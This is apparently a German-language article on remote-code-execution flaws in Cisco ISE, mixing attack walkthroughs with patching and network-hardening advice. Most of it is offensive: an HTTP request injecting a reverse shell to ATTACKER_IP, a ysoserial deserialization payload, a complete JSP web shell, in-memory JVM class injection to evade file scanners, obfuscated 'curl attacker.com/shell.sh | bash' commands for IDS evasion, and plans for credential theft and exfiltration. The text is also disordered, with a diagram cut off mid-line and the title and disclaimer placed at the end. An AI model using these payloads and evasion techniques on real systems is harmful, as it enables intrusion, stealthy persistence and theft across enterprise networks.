
Tiefgehende technische Analyse der Cisco-ISE-RCE-Schwachstellen, einschließlich Exploitation-Techniken, Umgehungsmethoden und Abhilfestrategien für Sicherheitsforscher und Penetrationstester.
Schwachstellen für Remote Code Execution (RCE) in Cisco Identity Services Engine (ISE) stellen einen kritischen Bruchpunkt in der Unternehmens-Perimetersicherheit dar. Für einen Elite-Sicherheitsforscher ist ISE nicht einfach eine Authentifizierungskomponente: Es ist der Generalschlüssel, der den Zugriff auf die gesamte Netzwerkinfrastruktur kontrolliert.
Kritisches Risiko: Ein nicht authentifizierter Angreifer kann in weniger als 5 Minuten die vollständige Kontrolle über das System erlangen, ohne in traditionellen Überwachungssystemen erkennbare Spuren zu hinterlassen.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - EXPONIERTE NAC-ARCHITEKTUR │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [ISE Management Port] │
│ ↓ │
│ [Unauthenticated APIs] │
│ ↓ │
│ [Java Deserialization Layer] │
│ ↓ │
│ [Tomcat Web Container] │
│ ↓ │
│ [OS Command Execution] │
│ ↓ │
│ [Complete Network Compromise] │
│ │
└─────────────────────────────────────────────────────────┘
Kritischer Befund: Die API /deployment-rpc/ validiert Session-Tokens nicht in den ersten Verarbeitungszeilen, was einen vollständigen Authentifizierungs-Bypass ermöglicht.
Phase 1: Aufklärung
# Port- und Dienstescan
nmap -sV -p 8443,8080 <ISE_IP>
# Aufzählung der RPC-Endpunkte
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Phase 2: Direkte Exploitation
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Ergebnis: Ausführung beliebiger Befehle mit root-Berechtigungen (Tomcat-Benutzer läuft in Standardkonfigurationen als root).
[Serialisiertes Payload] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain Execution]
↓
[Runtime.exec() aufgerufen]
PoC-Payload (mit ysoserial):
# Generierung einer bösartigen Gadget Chain
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Senden des Payloads
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Auswirkung: Privilegieneskalation von einem "Nur-Lese"-Konto zu root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat verarbeitet JSP-Datei]
↓
[Ausführung mit root-Rechten]
Beispiel einer bösartigen Web Shell:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Zugriff danach:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Ein Elite-Hacker hinterlässt niemals Dateien auf der Festplatte. Die In-Memory-Injektion ist die Technik für unsichtbare Persistenz:
// Injektion in den Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Vorteil: Traditionelle Dateiscans (OSSEC, Tripwire) erkennen nichts.
${IFS}# Ursprünglicher Befehl (erkennbar)
curl http://attacker.com/shell.sh | bash
# Verschleierter Befehl (IDS-Umgehung)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante mit Variablenindirektion
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_malicioso'
Warum es funktioniert: Erkennungssysteme suchen nach Schlüsselwortmustern (curl, bash, |). Die Verwendung von ${IFS} (Internal Field Separator) trennt die Wörter, ohne deren Bedeutung in bash zu verändern.
# ❌ ERKENNBAR - Dateien in /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ UNSICHTBAR - Injektion in den Tomcat-Prozess
# 1. Netcat-Listener im Speicher erstellen
# 2. Thread in JVM injizieren, der persistente Verbindung hält
# 3. Keine Dateien, keine sichtbaren verwaisten Prozesse
┌──────────────────────────────────────────────────────────────────┐
│ URSPRÜNGLICHE ZERO-TRUST-ARCHITEKTUR │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Benutzer] ──→ [ISE-Authentifizierung] ──→ [Geräte-Posture-Check] │
│ ↓ │
│ [Micro-Segmentierungsrichtlinie] │
│ ↓ │
│ [Begrenzter Ressourcenzugriff] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ NACH DEM ISE-KOMPROMISS ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ KOMPROMITTIERTE ARCHITEKTUR │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Angreifer] ──→ [Kontrolliertes ISE] ──→ [Geänderte Richtlinien] │
│ ↓ │
│ [Micro-Segmentierung DEAKTIVIERT] │
│ ↓ │
│ [Vollständige laterale Bewegung im Netzwerk] │
│ ↓ │
│ [Zugriff auf Datenbanken, Server, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
Phase 1: Interne Aufklärung
# Vom kompromittierten ISE aus das Netzwerk aufzählen
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# In ISE gespeicherte Anmeldedaten extrahieren
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
Phase 2: Injektion bösartiger Richtlinien
ISE-Richtlinienänderung:
├─ Versteckten administrativen Benutzer erstellen
├─ Segmentierungsregeln ändern
├─ Nicht autorisierten Verkehr zwischen VLANs erlauben
└─ DNS-Verkehr zu kontrolliertem Server umleiten
Phase 3: Persistenz und Exfiltration
Exfiltrierte Daten:
├─ Anmeldedaten aller authentifizierten Benutzer
├─ Konfiguration der Netzwerkrichtlinien
├─ Zugriffsprotokolle (zum Löschen von Spuren)
├─ Interne SSL/TLS-Zertifikate
└─ Informationen über IoT-Geräte und Server
# Aktuelle Version prüfen
ssh admin@<ISE_IP>
show version
# Verwundbare Versionen:
# - ISE 3.0.x bis 3.2.x (ALLE)
# - ISE 3.3.0 bis 3.3.6
# - ISE 3.4.0 bis 3.4.1
# Sichere Versionen:
# - ISE 3.3 Patch 7 oder höher
# - ISE 3.4 Patch 2 oder höher
# - ISE 3.5 (sobald verfügbar)
# Aktualisierungsverfahren
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! Am Access-Switch (vor ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! Dediziertes Verwaltungs-VLAN (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! Restriktive ACL für ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! ACL anwenden
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH zu ISE
ssh admin@<ISE_IP>
# Auf Tomcat-Konfiguration zugreifen
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Tomcat neu starten
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ GEHÄRTETE ISE-ARCHITEKTUR (ZERO TRUST) │
├─────────────────────────────────────
**🚨 SICHERHEITSMELDUNG: RCE in Cisco ISE**
## Red-Team- vs. Blue-Team-Perspektive
> **⚠️ HAFTUNGSAUSSCHLUSS:** Dieses Dokument dient der legitimen Sicherheitsforschung, autorisierten Penetrationstests und defensiven Remediation. Jede Exploitation ohne Autorisierung ist illegal.
| CVE | Endpoint | Methode | Authentifizierung | Schweregrad |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Keine | KRITISCH |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Schwach | KRITISCH |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass möglich | KRITISCH |